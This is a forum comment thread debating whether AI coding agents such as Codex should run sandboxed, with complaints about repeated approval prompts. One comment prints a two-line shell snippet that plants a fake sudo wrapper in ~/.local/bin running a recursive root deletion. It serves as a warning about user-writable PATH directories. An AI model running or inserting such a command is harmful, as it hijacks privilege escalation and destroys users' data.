News for hackers. Stuff that matters.
Re:Don't YOLO your file system by globular-toast on Saturday March 28, 2026 @03:43AM (#47552454)
FOMO is a hell of a thing. Sad though given it would have taken maybe a couple of hours to figure out how to use a sandbox. People can't even wait that long.
Re:Don't YOLO your file system by user34283 on Saturday March 28, 2026 @04:05AM (#47552558)
Coding agents work just fine without a sandbox.

If you do use a sandbox, be prepared to endlessly click "Approve" as the tool struggles to install python packages to the right location.

Re:Don't YOLO your file system by mjmas on Saturday March 28, 2026 @04:44AM (#47552766)
This also works fine without a sandbox:

  echo -e '#!/bin/sh\nsudo rm -rf/\nexec sudo "$@"' >~/.local/bin/sudo
  chmod +x ~/.local/bin/sudo
Especially since $PATH often includes user-writeable directories.
Re:Don't YOLO your file system by globular-toast on Saturday March 28, 2026 @04:56AM (#47552818)
Erm, no, that's not a sandbox, it's an annoyance that just makes you click "yes" before you thoughtlessly extend the boundaries.

A real sandbox doesn't even give the software inside an option to extend it. You build the sandbox knowing exactly what you need because you understand what you're doing, being a software developer and all.

Re:Don't YOLO your file system by user34283 on Saturday March 28, 2026 @05:43AM (#47553082)
I know 'exactly' that I will need internet for research as well as installing dependencies.

And I imagine it's going to be the same for most developers out there, thus the "ask for permission" model.

That model seems to work quite well for millions of developers.

Re:Don't YOLO your file system by globular-toast on Saturday March 28, 2026 @07:22AM (#47553562)
If you know then why do you need to be asked? A sandbox includes what you know you need in it, no more, no less.
Re:Don't YOLO your file system by user34283 on Saturday March 28, 2026 @08:20AM (#47553903)
With Codex it runs in a sandbox by default.

As we just discussed, obviously you are likely to need internet access at some point.

The agent can decide whether it believes it needs to go outside of the sandbox and trigger a prompt.

This way you could have it sandboxed most of the time, but still allow access outside of the sandbox when you know the operation requires it.

Re:Don't YOLO your file system by imtringued on Saturday March 28, 2026 @06:34AM (#47553327)
I've never been annoyed by the tool asking for approval. I'm more annoyed by the fact that there is an option that gives permanent approval right next to the button I need to click over and over again. This landmine means I constantly have to be vigilant to not press the wrong button.
Re:Don't YOLO your file system by greenchair on Saturday March 28, 2026 @07:29AM (#47553593)
maybe this could be a config setting.
Re:Don't YOLO your file system by user34283 on Saturday March 28, 2026 @08:24AM (#47553933)
When I was using Codex with the PDF skill it prompted to install python PDF tools like 3-5 times.

It was installing packages somewhere and then complaining that it could not access them in the sandbox.

I did not look into what exactly was the issue, but clearly the process wasn't working as smoothly as it should. My "project" contained only PDF files and no customizations to Codex, on Windows.